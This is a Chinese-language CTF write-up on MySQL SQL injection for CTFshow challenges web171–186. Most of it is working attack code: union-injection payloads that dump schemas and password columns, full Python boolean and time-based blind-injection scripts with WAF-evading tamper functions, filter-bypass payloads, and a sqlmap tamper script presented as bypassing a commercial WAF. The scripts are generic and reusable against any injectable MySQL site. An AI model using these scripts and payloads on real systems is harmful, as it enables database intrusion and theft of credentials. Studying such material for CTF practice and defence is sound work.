各类型数据库sql注入payload大全
柯大佬的mysql_sql注入笔记
柯大佬的其它数据库_sql注入笔记
各种WAF绕过手法学习

WAF绕过总结

[CTFSHOW]Mysql_SQL注入

web171联合注入

——————————————————————————————————只会用sqlmap是没有灵魂的
从回显内容上来看,SQL注入只分为联合注入,报错注入,盲注,堆叠注入。1,联合注入
联合注入是使用了union select联合查询,通常用来拼接在where后面,如下。
sql语句为。

  1. select * from news where id = $id;
  2. #闭合
  3. select * from news where id = 1' and 1=1 --
  4. select * from news where id = 1 order by 4
  5. select * from news where id = -1 union select 1,2,3,4
  6. select * from news where id = -1 union select user(),2,3,4

进而爆库,表,列,值。

  1. #爆全部库
  2. select * from news where id = -1 union select database(),2,3,4
  3. # 查当前数据库
  4. select * from news where id = -1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
  5. # 查列名
  6. select * from news where id = -1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
  7. # 查字段
  8. select * from news where id = -1 union select id,username,password from ctfshow_user --+

联合注入的优势是自带多个显位,可以很快爆出数据,缺点是只能用在select最后处,后面如果还有sql语句就必须注释掉。而且必须用到union和select,很容易被拦截。

web172~173查得的不得含flag,解hex ,base64

尝试编码很多:hex ,base64…

  1. -1' union select to_base64(username),hex(password) from ctfshow_user2 --+

hex在线解码网址,点我

web174布尔盲注二分法常用脚本

直接脚本跑,二分法比普通的快多了,可抽取对应的函数跑对应内容,绕狗时加tamper或自行改payload即可,挖src时很多时候sqlamp没法跑,这脚本相对灵活,主要注释多//0.0

  1. # @Author:challenger
  2. import requests
  3. import optparse
  4. # 存放数据库名变量
  5. DBName = ""
  6. # 存放数据库表变量
  7. DBTables = []
  8. # 存放数据库字段变量
  9. DBColumns = []
  10. # 存放数据字典变量,键为字段名,值为字段数据列表
  11. DBData = {}
  12. # 设置重连次数以及将连接改为短连接
  13. # 防止因为HTTP连接数过多导致的 Max retries exceeded with url
  14. requests.adapters.DEFAULT_RETRIES = 5
  15. conn = requests.session()
  16. conn.keep_alive = False
  17. # 若页面返回真,则会出现admin
  18. flag = "admidddn"
  19. #返回的Content-Length:
  20. Length=102
  21. #payload的替换
  22. def tamper(payload):
  23. tamp={" ":"/**/",
  24. "select":"sElect"}
  25. for k,v in tamp.items():
  26. payload = payload.replace(k, v)
  27. return payload
  28. # 盲注主函数
  29. def StartSqli(url):
  30. GetDBName(url)
  31. print("[+]当前数据库名:{0}".format(DBName))
  32. GetDBTables(url, DBName)
  33. print("[+]数据库{0}的表如下:".format(DBName))
  34. for item in range(len(DBTables)):
  35. print("(" + str(item + 1) + ")" + DBTables[item])
  36. tableIndex = int(input("[*]请输入要查看表的序号:")) - 1
  37. GetDBColumns(url, DBName, DBTables[tableIndex])
  38. while True:
  39. print("[+]数据表{0}的字段如下:".format(DBTables[tableIndex]))
  40. for item in range(len(DBColumns)):
  41. print("(" + str(item + 1) + ")" + DBColumns[item])
  42. columnIndex = int(input("[*]请输入要查看字段的序号(输入0退出):")) - 1
  43. if (columnIndex == -1):
  44. break
  45. else:
  46. GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])
  47. # 获取数据库名函数
  48. def GetDBName(url):
  49. # 引用全局变量DBName,用来存放网页当前使用的数据库名
  50. global DBName
  51. print("[-]开始获取数据库名长度")
  52. # 保存数据库名长度变量
  53. DBNameLen = 0
  54. # 用于检查数据库名长度的payload
  55. payload = "' and if(length(database())={0},1,0) %23"
  56. payload = tamper(payload)
  57. # 把URL和payload进行拼接得到最终的请求URL
  58. targetUrl = url + payload
  59. # 用for循环来遍历请求,得到数据库名长度
  60. for DBNameLen in range(1, 99):
  61. # 对payload中的参数进行赋值猜解
  62. res = conn.get(targetUrl.format(DBNameLen))
  63. # 判断flag是否在返回的页面中
  64. if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  65. print("[+]数据库名长度:" + str(DBNameLen))
  66. break
  67. print("[-]开始获取数据库名")
  68. # a表示substr()函数的截取起始位置
  69. for i in range(1, DBNameLen + 1):
  70. # b表示33~127位ASCII中可显示字符
  71. low = 32
  72. high = 128
  73. while low < high:
  74. mid = (low + high) // 2
  75. content = "database()" #查询语句
  76. payload = f"' and 1=if(ascii(substr(({content}),{i},1))<{mid},1,0)--+"
  77. payload = tamper(payload)
  78. targetUrl = url + payload
  79. res = conn.get(targetUrl)
  80. if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  81. high = mid
  82. else:
  83. low = mid + 1
  84. if low == high == 32:
  85. print("[-]"+"No result")
  86. break
  87. DBName += chr((high + low - 1) // 2)
  88. print("[+]"+str(DBName))
  89. # 获取数据库表函数
  90. def GetDBTables(url, dbname):
  91. global DBTables
  92. # 存放数据库表数量的变量
  93. DBTableCount = 0
  94. print("[-]开始获取{0}数据库表数量:".format(dbname))
  95. # 获取数据库表数量的payload
  96. payload = "' and 1=if((select COUNT(table_name) from information_schema.tables where table_schema='{0}')={1},1,0) %23"
  97. payload = tamper(payload)
  98. targetUrl = url + payload
  99. # 开始遍历获取数据库表的数量
  100. for DBTableCount in range(1, 99):
  101. res = conn.get(targetUrl.format(dbname, DBTableCount))
  102. if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  103. print("[+]{0}数据库的表数量为:{1}".format(dbname, DBTableCount))
  104. break
  105. print("[-]开始获取{0}数据库的表".format(dbname))
  106. # 遍历表名时临时存放表名长度变量
  107. tableLen = 0
  108. # a表示当前正在获取表的索引
  109. for a in range(0, DBTableCount):
  110. print("[-]正在获取第{0}个表名".format(a + 1))
  111. # 先获取当前表名的长度
  112. for tableLen in range(1, 99):
  113. payload = "' and 1=if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0) %23"
  114. payload = tamper(payload)
  115. targetUrl = url + payload
  116. res = conn.get(targetUrl.format(dbname, a, tableLen))
  117. if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  118. break
  119. # 开始获取表名
  120. # 临时存放当前表名的变量
  121. table = ""
  122. # b表示当前表名猜解的位置
  123. for b in range(1, tableLen + 1):
  124. low = 32
  125. high = 128
  126. while low < high:
  127. mid = (low + high) // 2
  128. payload = f"' and 1=if(ascii(substr((select table_name from information_schema.tables where table_schema='{dbname}' limit {a},1),{b},1))<{mid},1,0) --+"
  129. payload = tamper(payload)
  130. targetUrl = url +payload
  131. res = conn.get(targetUrl)
  132. if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  133. high = mid
  134. else:
  135. low = mid + 1
  136. if low == high == 32:
  137. print("[-] No result")
  138. break
  139. table += chr((high + low - 1) // 2)
  140. print("[+]"+str(table))
  141. # 把获取到的名加入到DBTables
  142. DBTables.append(table)
  143. # 清空table,用来继续获取下一个表名
  144. table = ""
  145. # 获取数据库表的字段函数
  146. def GetDBColumns(url, dbname, dbtable):
  147. global DBColumns
  148. # 存放字段数量的变量
  149. DBColumnCount = 0
  150. print("[-]开始获取{0}数据表的字段数:".format(dbtable))
  151. for DBColumnCount in range(99):
  152. payload = "' and 1=if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0) %23"
  153. payload = tamper(payload)
  154. targetUrl = url + payload
  155. res = conn.get(targetUrl.format(dbname, dbtable, DBColumnCount))
  156. if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  157. print("[-]{0}数据表的字段数为:{1}".format(dbtable, DBColumnCount))
  158. break
  159. # 开始获取字段的名称
  160. # 保存字段名的临时变量
  161. column = ""
  162. # a表示当前获取字段的索引
  163. for a in range(0, DBColumnCount):
  164. print("[-]正在获取第{0}个字段名".format(a + 1))
  165. # 先获取字段的长度
  166. for columnLen in range(99):
  167. payload = "' and 1=if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0) %23"
  168. payload = tamper(payload)
  169. targetUrl = url + payload
  170. res = conn.get(targetUrl.format(dbname, dbtable, a, columnLen))
  171. if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  172. break
  173. # b表示当前字段名猜解的位置
  174. for b in range(1, columnLen + 1):
  175. low = 32
  176. high = 128
  177. while low < high:
  178. mid = (low + high) // 2
  179. payload =f"' and 1=if(ascii(substr((select column_name from information_schema.columns where table_schema='{dbname}' and table_name='{dbtable}' limit {a},1),{b},1))<{mid},1,0) %23"
  180. payload = tamper(payload)
  181. targetUrl = url + payload
  182. res = conn.get(targetUrl)
  183. if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  184. high = mid
  185. else:
  186. low = mid + 1
  187. if low == high == 32:
  188. print("[-] No result")
  189. break
  190. column += chr((high + low - 1) // 2)
  191. print("[+]" + str(column))
  192. # 把获取到的名加入到DBColumns
  193. DBColumns.append(column)
  194. # 清空column,用来继续获取下一个字段名
  195. column = ""
  196. # 获取字段下内容数据函数
  197. def GetDBData(url, dbtable, dbcolumn):
  198. global DBData
  199. # 先获取字段数据数量
  200. DBDataCount = 0
  201. print("[-]开始获取{0}表{1}字段的数据数量".format(dbtable, dbcolumn))
  202. for DBDataCount in range(99):
  203. payload = "' and 1=if((select count({0}) from {1})={2},1,0) %23"
  204. payload = tamper(payload)
  205. targetUrl = url + payload
  206. res = conn.get(targetUrl.format(dbcolumn, dbtable, DBDataCount))
  207. if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  208. print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable, dbcolumn, DBDataCount))
  209. break
  210. for a in range(0, DBDataCount):
  211. print("[-]正在获取{0}的第{1}个数据".format(dbcolumn, a + 1))
  212. # 先获取这个数据的长度
  213. dataLen = 0
  214. for dataLen in range(99):
  215. payload = "' and 1=if((select length({0}) from {1} limit {2},1)={3},1,0) %23"
  216. payload = tamper(payload)
  217. targetUrl = url + payload
  218. res = conn.get(targetUrl.format(dbcolumn, dbtable, a, dataLen))
  219. if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  220. print("[-]第{0}个数据长度为:{1}".format(a + 1, dataLen))
  221. break
  222. # 临时存放数据内容变量
  223. data = ""
  224. # 开始获取数据的具体内容
  225. # b表示当前数据内容猜解的位置
  226. for b in range(1, dataLen + 1):
  227. low = 32
  228. high = 128
  229. while low < high:
  230. mid = (low + high) // 2
  231. payload = f"' and 1=if(ascii(substr((select {dbcolumn} from {dbtable} limit {a},1),{b},1))<{mid},1,0) %23"
  232. payload = tamper(payload)
  233. targetUrl = url + payload
  234. res = conn.get(targetUrl)
  235. if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  236. high = mid
  237. else:
  238. low = mid + 1
  239. if low == high == 32:
  240. print("[-] No result")
  241. break
  242. data += chr((high + low - 1) // 2)
  243. print("[+]" + str(data))
  244. # 放到以字段名为键,值为列表的字典中存放
  245. DBData.setdefault(dbcolumn, []).append(data)
  246. print(DBData)
  247. # 把data清空来,继续获取下一个数据
  248. data = ""
  249. if __name__ == '__main__':
  250. """parser = optparse.OptionParser('usage: python %prog -u url \n\n'
  251. 'Example: python %prog -u http://192.168.61.1/sql/Less-8/?id=1\n')
  252. # 目标URL参数-u
  253. parser.add_option('-u', '--url', dest='targetURL', default='http://127.0.0.1/sql/Less-8/?id=1', type='string',
  254. help='target URL')
  255. (options, args) = parser.parse_args()
  256. StartSqli(options.targetURL)"""
  257. targetURL="http://98c61897-966c-4bd7-83cd-15af8904f807.challenge.ctf.show:8080/api/v4.php?id=1"
  258. StartSqli(targetURL)

最后字段跑全部太鸡肋,建议退出,用这里的

常用单个布尔盲注二分法:

  1. import requests
  2. url = "http://1b72b797-7c95-4d80-a914-91cef1de3acf.challenge.ctf.show:8080/api/v4.php?id=1' and 1="
  3. flag = ""
  4. for i in range(1,100):
  5. low = 32
  6. high = 128
  7. while low < high:
  8. mid = (low + high)//2
  9. content = "select password from ctfshow_user4 limit 24,1"
  10. sql = f"if(ascii(substr(({content}),{i},1))<{mid},1,0)--+"
  11. url2 = url+sql
  12. #print(url2)
  13. r = requests.get(url2)
  14. if "admin" in r.text:#len(r.content) == 50811:
  15. high = mid
  16. else:
  17. low = mid + 1
  18. if low == high == 32:
  19. print("No result")
  20. break
  21. flag += chr((high + low - 1)//2)
  22. print(flag)

web175时间盲注二分法常用脚本

  1. # @Author:challenger
  2. #!/usr/bin/python3
  3. # -*- coding: utf-8 -*-
  4. import requests
  5. import optparse
  6. import time
  7. # 存放数据库名变量
  8. DBName = ""
  9. # 存放数据库表变量
  10. DBTables = []
  11. # 存放数据库字段变量
  12. DBColumns = []
  13. # 存放数据字典变量,键为字段名,值为字段数据列表
  14. DBData = {}
  15. # 设置重连次数以及将连接改为短连接
  16. # 防止因为HTTP连接数过多导致的 Max retries exceeded with url
  17. requests.adapters.DEFAULT_RETRIES = 5
  18. conn = requests.session()
  19. conn.keep_alive = False
  20. #延迟时间
  21. t=1
  22. #payload的替换
  23. def tamper(payload):
  24. tamp={" ":"/**/",
  25. "select":"sElect"}
  26. for k,v in tamp.items():
  27. payload = payload.replace(k, v)
  28. return payload
  29. # 盲注主函数
  30. def StartSqli(url):
  31. GetDBName(url)
  32. print("[+]当前数据库名:{0}".format(DBName))
  33. GetDBTables(url, DBName)
  34. print("[+]数据库{0}的表如下:".format(DBName))
  35. for item in range(len(DBTables)):
  36. print("(" + str(item + 1) + ")" + DBTables[item])
  37. tableIndex = int(input("[*]请输入要查看表的序号:")) - 1
  38. GetDBColumns(url, DBName, DBTables[tableIndex])
  39. while True:
  40. print("[+]数据表{0}的字段如下:".format(DBTables[tableIndex]))
  41. for item in range(len(DBColumns)):
  42. print("(" + str(item + 1) + ")" + DBColumns[item])
  43. columnIndex = int(input("[*]请输入要查看字段的序号(输入0退出):")) - 1
  44. if (columnIndex == -1):
  45. break
  46. else:
  47. GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])
  48. # 获取数据库名函数
  49. def GetDBName(url):
  50. # 引用全局变量DBName,用来存放网页当前使用的数据库名
  51. global DBName
  52. print("[-]开始获取数据库名长度")
  53. # 保存数据库名长度变量
  54. DBNameLen = 0
  55. # 用for循环来遍历请求,得到数据库名长度
  56. for DBNameLen in range(1, 99):
  57. # 用于检查数据库名长度的payload
  58. payload = f"' and if(length(database())={DBNameLen},sleep({t}),0) %23"
  59. payload = tamper(payload)
  60. # 把URL和payload进行拼接得到最终的请求URL
  61. targetUrl = url + payload
  62. # 开始时间
  63. timeStart = time.time()
  64. # 开始访问
  65. a = conn.get(targetUrl)
  66. # 结束时间
  67. timeEnd = time.time()
  68. # 判断时间差
  69. if timeEnd - timeStart >= t:
  70. print("[+]数据库名长度:" + str(DBNameLen))
  71. break
  72. print("[-]开始获取数据库名")
  73. # a表示substr()函数的截取起始位置
  74. for a in range(1, DBNameLen + 1):
  75. # 33~127位ASCII中可显示字符
  76. low = 32
  77. high = 128
  78. while low < high:
  79. mid = (low + high) // 2
  80. content = "database()" #查询语句
  81. payload = f"' and if(ascii(substr(({content}),{a},1))<{mid},sleep({t}),0)--+"
  82. payload = tamper(payload)
  83. targetUrl = url + payload
  84. timeStart = time.time()
  85. res = conn.get(targetUrl)
  86. timeEnd = time.time()
  87. if timeEnd - timeStart >= t:
  88. high = mid
  89. else:
  90. low = mid + 1
  91. if low == high == 32:
  92. print("[-] No result")
  93. break
  94. DBName += chr((high + low - 1) // 2)
  95. print("[+]"+DBName)
  96. def GetDBTables(url, dbname):
  97. global DBTables
  98. # 存放数据库表数量的变量
  99. DBTableCount = 0
  100. print("[-]开始获取{0}数据库表数量:".format(dbname))
  101. # 开始遍历获取数据库表的数量
  102. for DBTableCount in range(1, 99):
  103. # 获取数据库表数量的payload
  104. payload = f"' and if((select count(table_name) from information_schema.tables where table_schema='{dbname}' )={DBTableCount},sleep({t}),0) %23"
  105. payload = tamper(payload)
  106. targetUrl = url + payload
  107. timeStart = time.time()
  108. res = conn.get(targetUrl)
  109. timeEnd = time.time()
  110. if timeEnd - timeStart >= t:
  111. print("[+]{0}数据库的表数量为:{1}".format(dbname, DBTableCount))
  112. break
  113. print("[-]开始获取{0}数据库的表".format(dbname))
  114. # 遍历表名时临时存放表名长度变量
  115. tableLen = 0
  116. # a表示当前正在获取表的索引
  117. for a in range(0, DBTableCount):
  118. print("[-]正在获取第{0}个表名".format(a + 1))
  119. # 先获取当前表名的长度
  120. for tableLen in range(1, 99):
  121. payload = f"' and if((select length(table_name) from information_schema.tables where table_schema='{dbname}' limit {a},1)={tableLen},sleep({t}),0) %23"
  122. payload = tamper(payload)
  123. targetUrl = url + payload
  124. timeStart = time.time()
  125. res = conn.get(targetUrl)
  126. timeEnd = time.time()
  127. if timeEnd - timeStart >= t:
  128. print("[+]第{0}个表的长度:{1}".format(a+1, tableLen))
  129. break
  130. # 开始获取表名
  131. # 临时存放当前表名的变量
  132. table = ""
  133. # b表示当前表名猜解的位置
  134. for b in range(1, tableLen + 1):
  135. # 33~127位ASCII中可显示字符
  136. low = 32
  137. high = 128
  138. while low < high:
  139. mid = (low + high) // 2
  140. payload=f"' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{dbname}' limit {a},1),{b},1))<{mid},sleep({t}),0) --+"
  141. payload = tamper(payload)
  142. targetUrl = url + payload
  143. timeStart = time.time()
  144. res = conn.get(targetUrl)
  145. timeEnd = time.time()
  146. if timeEnd - timeStart >= t:
  147. high = mid
  148. else:
  149. low = mid + 1
  150. if low == high == 32:
  151. print("[-] No result")
  152. break
  153. table += chr((high + low - 1) // 2)
  154. print("[+]" + table) # 把获取到的名加入到DBTables
  155. DBTables.append(table)
  156. # 清空table,用来继续获取下一个表名
  157. table = ""
  158. # 获取数据库表的字段函数
  159. def GetDBColumns(url, dbname, dbtable):
  160. global DBColumns
  161. # 存放字段数量的变量
  162. DBColumnCount = 0
  163. print("[-]开始获取{0}数据表的字段数:".format(dbtable))
  164. for DBColumnCount in range(99):
  165. payload = f"' and if((select count(column_name) from information_schema.columns where table_schema='{dbname}' and table_name='{dbtable}')={DBColumnCount},sleep({t}),0) --+"
  166. payload = tamper(payload)
  167. targetUrl = url + payload
  168. timeStart = time.time()
  169. res = conn.get(targetUrl)
  170. timeEnd = time.time()
  171. if timeEnd - timeStart >= t:
  172. print("[-]{0}数据表的字段数为:{1}".format(dbtable, DBColumnCount))
  173. break
  174. # 开始获取字段的名称
  175. # 保存字段名的临时变量
  176. column = ""
  177. # a表示当前获取字段的索引
  178. for a in range(0, DBColumnCount):
  179. print("[-]正在获取第{0}个字段名".format(a + 1))
  180. # 先获取字段的长度
  181. for columnLen in range(99):
  182. payload = f"' and if((select length(column_name) from information_schema.columns where table_schema='{dbname}' and table_name='{dbtable}' limit {a},1)={columnLen},sleep({t}),0) %23"
  183. payload = tamper(payload)
  184. targetUrl = url + payload
  185. timeStart = time.time()
  186. res = conn.get(targetUrl)
  187. timeEnd = time.time()
  188. if timeEnd - timeStart >= t:
  189. break
  190. # b表示当前字段名猜解的位置
  191. for b in range(1, columnLen + 1):
  192. # 33~127位ASCII中可显示字符
  193. low = 32
  194. high = 128
  195. while low < high:
  196. mid = (low + high) // 2
  197. payload = f"' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{dbname}' and table_name='{dbtable}' limit {a},1),{b},1))<{mid},sleep({t}),0) %23"
  198. payload = tamper(payload)
  199. targetUrl = url + payload
  200. timeStart = time.time()
  201. res = conn.get(targetUrl)
  202. timeEnd = time.time()
  203. if timeEnd - timeStart >= t:
  204. high = mid
  205. else:
  206. low = mid + 1
  207. if low == high == 32:
  208. print("[-] No result")
  209. break
  210. column += chr((high + low - 1) // 2)
  211. print("[+]" + column)
  212. # 把获取到的名加入到DBColumns
  213. DBColumns.append(column)
  214. # 清空column,用来继续获取下一个字段名
  215. column = ""
  216. # 获取表数据函数
  217. def GetDBData(url, dbtable, dbcolumn):
  218. global DBData
  219. # 先获取字段数据数量
  220. DBDataCount = 0
  221. print("[-]开始获取{0}表{1}字段的数据数量".format(dbtable, dbcolumn))
  222. for DBDataCount in range(99):
  223. payload = f"' and if((select count({dbcolumn}) from {dbtable})={DBDataCount},sleep({t}),0) %23"
  224. payload = tamper(payload)
  225. targetUrl = url + payload
  226. timeStart = time.time()
  227. res = conn.get(targetUrl)
  228. timeEnd = time.time()
  229. if timeEnd - timeStart >= t:
  230. print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable, dbcolumn, DBDataCount))
  231. break
  232. for a in range(0, DBDataCount):
  233. print("[-]正在获取{0}的第{1}个数据".format(dbcolumn, a + 1))
  234. # 先获取这个数据的长度
  235. dataLen = 0
  236. for dataLen in range(99):
  237. payload = f"'and if((select length({dbcolumn}) from {dbtable} limit {a},1)={dataLen},sleep({t}),0) %23"
  238. payload = tamper(payload)
  239. targetUrl = url + payload
  240. timeStart = time.time()
  241. res = conn.get(targetUrl)
  242. timeEnd = time.time()
  243. if timeEnd - timeStart >= t:
  244. print("[-]第{0}个数据长度为:{1}".format(a + 1, dataLen))
  245. break
  246. # 临时存放数据内容变量
  247. data = ""
  248. # 开始获取数据的具体内容
  249. # b表示当前数据内容猜解的位置
  250. for b in range(1, dataLen + 1):
  251. # 33~127位ASCII中可显示字符
  252. low = 32
  253. high = 128
  254. while low < high:
  255. mid = (low + high) // 2
  256. payload = f"' and if(ascii(substr((select {dbcolumn} from {dbtable} limit {a},1),{b},1))<{mid},sleep({t}),0) %23"
  257. payload = tamper(payload)
  258. targetUrl = url + payload
  259. timeStart = time.time()
  260. res = conn.get(targetUrl)
  261. timeEnd = time.time()
  262. if timeEnd - timeStart >= t:
  263. high = mid
  264. else:
  265. low = mid + 1
  266. if low == high == 32:
  267. print("[-] No result")
  268. break
  269. data += chr((high + low - 1) // 2)
  270. print("[+]" + data)
  271. # 放到以字段名为键,值为列表的字典中存放
  272. DBData.setdefault(dbcolumn, []).append(data)
  273. print(DBData)
  274. # 把data清空来,继续获取下一个数据
  275. data = ""
  276. if __name__ == '__main__':
  277. """parser = optparse.OptionParser('usage: python %prog -u url \n\n'
  278. 'Example: python %prog -u http://192.168.61.1/sql/Less-9/?id=1\n')
  279. # 目标URL参数-u
  280. parser.add_option('-u', '--url', dest='targetURL', default='http://127.0.0.1/sql/Less-9/?id=1', type='string',
  281. help='target URL')
  282. (options, args) = parser.parse_args()
  283. StartSqli(options.targetURL)"""
  284. targetURL="http://63f814d1-a667-4c0e-b113-e4075ac7bf92.challenge.ctf.show:8080/api/v5.php?id=1"
  285. StartSqli(targetURL)

最后字段跑全部太鸡肋,建议退出,用这里的

常用单个时间盲注二分法:

  1. import time
  2. import requests
  3. url = "http://f9e8506c-c20b-45ca-88dd-194108d8f581.challenge.ctf.show:8080/api/v5.php?id=1' and "
  4. flag = ""
  5. for i in range(1,100):
  6. low = 32
  7. high = 128
  8. while low < high:
  9. mid = (low + high)//2
  10. content = "select password from ctfshow_user5 limit 24,1"
  11. sql = f"if(ascii(substr(({content}),{i},1))<{mid},sleep(1),0)--+"
  12. url2 = url+sql
  13. timeStart = time.time()
  14. r = requests.get(url2)
  15. timeEnd = time.time()
  16. if timeEnd - timeStart >= 1: #"admin" in r.text:#len(r.content) == 50811:
  17. high = mid
  18. else:
  19. low = mid + 1
  20. if low == high == 32:
  21. print("No result")
  22. break
  23. flag += chr((high + low - 1)//2)
  24. print(flag)

web176~179联合注入大小写,空格*过滤

联合注入,直接替换即可
如:1’//union//select//password,1,1//from//ctfshow_user//where//username//=’flag’%23

  1. #payload的替换
  2. def tamper(payload):
  3. tamp={" ":"/**/",#web177
  4. "select":"sElect",#web176,
  5. " ":"%09",#web178
  6. " ":"%0c",#web179
  7. }
  8. for k,v in tamp.items():
  9. payload = payload.replace(k, v)
  10. return payload

web180~182把所有空格都过滤了:

y4大佬的payload:

  1. id=-1'or(id=26)and'1'='1

web183
web184
web185~186

  1. import re
  2. import os
  3. from lib.core.data import kb
  4. from lib.core.enums import PRIORITY
  5. from lib.core.common import singleTimeWarnMessage
  6. from lib.core.enums import DBMS
  7. __priority__ = PRIORITY.LOW
  8. def dependencies():
  9. singleTimeWarnMessage("Bypass yunsuo by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
  10. def tamper(payload, **kwargs):
  11. payload=payload.replace(" "," ",1)
  12. payload=payload.replace(" AND"," REGEXP \"[...%252523]\" and",1)
  13. payload=re.sub(r'(ORDER BY \d+)', "x", payload)
  14. payload=payload.replace("UNION"," REGEXP \"[...%252523]\" union",1)
  15. payload=payload.replace("(SELECT (CASE WHEN ("," REGEXP \"[...%252523]\" (SELECT (CASE WHEN (",1)
  16. payload=payload.replace(" AS "," REGEXP \"[...%252523]\" as ",1)
  17. payload=payload.replace(" OR "," REGEXP \"[...%252523]\" or ",1)
  18. payload=payload.replace(" WHERE "," REGEXP \"[...%252523]\" where ",1)
  19. payload=payload.replace("HIGH_RISK_OPERATION:0"," REGEXP \"[...%252523]\" ",1)
  20. payload=payload.replace(";","; REGEXP \"[...%252523]\" HTGH",1)
  21. payload=payload.replace("||","; || REGEXP \"[...%252523]\" ",1)
  22. payload=payload.replace("THEN"," THEN REGEXP \"[...%252523]\" ",1)
  23. payload=payload.replace(" IN"," REGEXP \"[...%252523]\" IN ",1)
  24. payload=payload.replace("+"," REGEXP \"[...%252523]\" + ",1)
  25. payload=payload.replace("WHEN"," REGEXP \"[...%252523]\" ",1)
  26. return payload